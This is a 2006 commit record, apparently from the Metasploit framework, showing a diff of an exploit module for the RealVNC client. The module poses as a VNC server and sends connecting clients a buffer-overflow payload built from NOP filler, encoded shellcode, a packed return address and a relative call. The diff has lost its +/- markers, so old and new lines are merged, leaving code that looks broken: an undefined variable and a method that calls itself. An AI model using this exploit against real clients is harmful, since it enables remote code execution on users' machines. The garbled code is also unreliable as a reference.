module clean up for realvnc_client.rb

git-svn-id: file:///home/svn/framework3/trunk@4203 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Mario Ceballos
2006-12-14 22:39:36 +00:00
parent f43be4ab68
commit cfdd264f2d
@@ -47,19 +47,20 @@ class Exploits::Windows::Vnc::Realvnc_Client < Exploit::Remote
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
filler = make_nops(993 - payload.encoded.length)
rfb = "RFB 003.003\n"
client.put(rfb)
end
def on_client_data(client)
return if ((p = regenerate_payload(client)) == nil)
filler = make_nops(993 - payload.encoded.length)
sploit = "\x00\x00\x00\x00\x00\x00\x04\x06" + filler + payload.encoded
sploit << [target.ret].pack('V') + make_nops(10) + [0xe8, -457].pack('CV')
sploit << Rex::Text.rand_text_english(200)
client.put(rfb)
on_client_data(16)
sploit << rand_text_english(200)
print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
client.put(sploit)